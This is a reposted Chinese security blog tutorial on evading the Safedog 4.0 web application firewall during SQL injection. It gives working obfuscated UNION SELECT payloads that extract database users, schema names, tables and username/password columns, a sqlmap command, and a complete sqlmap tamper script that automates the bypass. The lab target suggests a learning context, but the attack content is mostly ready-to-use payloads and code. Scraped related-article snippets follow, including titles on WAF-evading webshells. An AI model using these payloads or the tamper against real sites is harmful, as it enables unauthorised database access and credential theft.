原作者:我会啊D

原文出处:https://www.t00ls.net/articles-52894.html

0x0 前言

在sql注入的时候,很可能会碰到各种厂商的waf,bypass之后,以后每次都要手工进行绕过,这样很麻烦。我们可以自己编写一个tamper,这样就达到一个自动化bypass的功能了

0x01 安全狗拦截的点

  • and 1
    只要and后面接数字,安全狗就会拦截
  • order by
    order 后面接by,安全狗就会拦截
  • USER()
    user后面接括号,安全狗就会拦截
  • union select union后面接select,安全狗就会拦截

0x02 bypass安全狗

具体过程不说了,贴出payload

1、查询用户

union/*!11440/**/select*/%201,hex(user/**/()),3

2、查询库名

union/*!11440/**/select*/%201,group_concat(schema_name),3 from `information_schema`.schemata --+

3、查询表名

union/*!11440/**/select*/ 1,group_concat(table_name),3 from `information_schema`.tables where table_schema='security' --+

4、查询列名

union/*!11440/**/select*/ 1,group_concat(column_name),3 from `information_schema`.columns where table_name='users' --+

5、查询数据

union/*!11440/**/select*/ 1,group_concat(username,password),3 from `users` --+

0x03 tamper结构

tamper由三大结构组成,如下:

Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
""" from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies():
pass def tamper(payload, **kwargs):
pass

PROIORITY

PRIORITY是定义tamper的优先级,如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper,PRIORITY有以下几个参数:

LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

值越高,优先级越高。因为我们这里只是绕过安全狗,随便设置个值就ok。

dependencies

dependencies主要是提示用户,这个tamper支持哪些数据库,具体代码如下:

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os __priority__ = PRIORITY.LOW def dependencies():
singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

效果如下图:

DBMS.MYSQL这个参数代表的是Mysql,其他数据库的参数如下:

ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL"
ORACLE = "Oracle"
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"

Tamper

tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里
payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个

0x04 编写tamper

环境

攻击机:windows 10 安装有sqlmap,burpsuite
靶机:windows 7 安装有sqli-labs注入环境,安全狗4.0 ip:

思路

我们利用Burpsuite来抓sqlmap的包,然后一步步进行绕过

编写过程

sqlmap敲如下命令:

sqlmap.py -u http://192.168.1.120/sql/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --random-agent

这里解释下为什么要加--random-agent这个参数,因为安全狗看到sqlmap默认的agent头会拦截,所以我们得加这个随即头参数来进行绕过

1、识别注入

抓到的sqlmap包如图:

安全狗默认不会拦截,sqlmap就会判断可能存在注入

继续抓包

被安全狗拦截了,前面说了,安全狗拦截and 加数字,现在我们开始编写tamper

def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')

把and替换成我们前面bypass的payload,就不会拦截了。后面的order by,user(),union select同理,这里我就不一一介绍了,只讲下SESSION_USER()

2、识别数据库类型

绕过了and之后,sqlmap会识别数据库类型

虽然我们绕过了user()这个函数,安全狗还是进行了拦截,经过测试,发现安全狗拦截了SESSION_USER(),本来是想把SESSION_USER按照USER()进行绕过,也就是 hex(SESSION_user/**/()),发现会报错,如图:

因为安全狗拦截函数是拦截名称和括号之间,既然名称那饶不了,我们就在括号里做文章。最后经过测试,payload为:hex(SESSION_USER(-- B%0a))

3、注入

因为后面payload大同小异,我们只要把sqlmap原始的UNION ALL SELECT替换成union/!11440//就好了

成品

#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
""" from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os __priority__ = PRIORITY.LOW def dependencies():
singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')
payload=payload.replace('ORDER','/*!11440order*/')
payload=payload.replace('USER())','hex(user/**/()))')
payload=payload.replace('SESSION_USER()','hex(SESSION_USER(-- B%0a))')
payload=payload.replace('UNION ALL SELECT','union/*!11440/**/select*/')
return payload

最后效果如图:

从过狗到编写tamper【转载】的更多相关文章

  1. PHP过狗webshell编写过程

    0x1 先上图: 0x2 编写过程 这里必须强调一下我内心的感觉,小阔爱前两天也研究了过狗的一句话了,然后我突然觉得大家都在进步,我研究点啥呢?不如也试试以前因为觉得自己不懂代码,而不会研究的免杀sh ...

  2. API接口测试用例编写规则(转载)

    API接口测试用例编写规则 (1)必需参数覆盖.对于接口的参数,接口文档一般都会说明哪些儿是必需的,哪儿是非必需的.对于必需的参数,一定要测试传参数和不传参数接口是否报错? (2)必需的参数各种情况覆 ...

  3. TCP/IP协议的编写《转载》

    基于HHARM9-EDU的TCP/IP(UDP)协议的实现 原文网址:http://blog.csdn.net/lhj0503/article/details/3323788 摘 要:嵌入式技术的发展 ...

  4. jquery插件编写【转载】

    如今做web开发,jquery 几乎是必不可少的,就连vs神器在2010版本开始将Jquery 及ui 内置web项目里了.至于使用jquery好处这里就不再赘述了,用过的都知道.今天我们来讨论下jq ...

  5. 基于Linux的v4l2视频架构驱动编写(转载)

    转自:http://www.linuxidc.com/Linux/2011-03/33022.htm 其实,我刚开始一直都不知道怎么写驱动,什么都不懂的,只知道我需要在做项目的过程中学习,所以,我就自 ...

  6. Bypass 360主机卫士SQL注入防御(附tamper脚本)

    0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...

  7. GJM : 用Unity模仿CSGO里的火焰效果 [转载]

    感谢您的阅读.喜欢的.有用的就请大哥大嫂们高抬贵手"推荐一下"吧!你的精神支持是博主强大的写作动力以及转载收藏动力.欢迎转载! 版权声明:本文原创发表于 [请点击连接前往] ,未经 ...

  8. testng入门教程2用TestNG编写测试及执行测试

    编写TestNG测试基本上包括以下步骤: 测试和编写业务逻辑,在代码中插入TestNG的注解.. 添加一个testng.xml文件或build.xml中在测试信息(例如类名,您想要运行的组,等..) ...

  9. [转载]支付宝钱包手势密码破解实战(root过的手机可直接绕过手势密码)

    /* *转自http://blog.csdn.net/hu3167343/article/details/36418063 *本文章由 莫灰灰 编写,转载请注明出处. *作者:莫灰灰    邮箱: m ...

随机推荐

  1. 强大的display:grid

    自从用习惯flex布局我基本已经不怎么使用float了. 现在又出现了grid布局,就像flex的升级版,布局上十分强大. 主要属性: grid-template-columns://竖向排列 gri ...

  2. vs2017开启JavaScript智能提示

    [工具]--[选项]--[文本编辑器]--[JavaScript]--[语言服务] 把第一个钩去掉即可,如果不需要提示就打上勾

  3. Oracle 限制行的子句

    12c新特性 限制行的子句允许限制查询返回的行.可以指定偏移量,以及要返回的行数或百分比.您可以使用此子句实现Top-N报告.要获得一致的结果,请指定ORDER_by子句以确保具有确定性的排序顺序. ...

  4. DevOps简介_转

    转自:DevOps简介     刘大飞 DevOps 是一个完整的面向IT运维的工作流,以 IT 自动化以及持续集成(CI).持续部署(CD)为基础,来优化程式开发.测试.系统运维等所有环节. Dev ...

  5. [nginx] nginx源码分析--SNI性能分析

    概念 我们已经知道什么是SNI,以及如何为用户配置SNI. [nginx] nginx使用SNI功能的方法 问题 通过观察配置文件,可以发现,针对每一个SSL/TLS链接, nginx都会动态的查找( ...

  6. typescript 箭头表达式

    箭头表达式:用来声明匿名函数,消除传统匿名函数的this指针问题 1.无参 var sum = () => {} 2.一个参数 var sum = arg2 => {} 3.多个参数 va ...

  7. 利用Python openpyxl操作Excel

    from IPython.core.interactiveshell import InteractiveShell InteractiveShell.ast_node_interactivity = ...

  8. java基础(10)---leetcode的String、数组以及集合的一些使用

    整数 一.整数反转_7 /* 12345 变成 54321 */ public class 整数反转_7 { public static void main(String[] args){ int x ...

  9. Spring -09 -在Spring工程 中加载 properties 文件 -为某个属性添加注解赋初值

    1.在src 下新建 xxx.properties 文件,不要任意加空格,注明jdbc等标识名!2.在spring 配置文件中先引入xmlns:context,在下面添加2.1如果需要记载多个配置文件 ...

  10. SpringBoot序列化时间类型的问题

    在使用sringboot的时候因为在配置文件中缺少一个配置项,所以导致查询出来的时间都是long类型的时间格式 因为springboot默认使用的是Jackson 这个时间显然不是我们所需要的,参考官 ...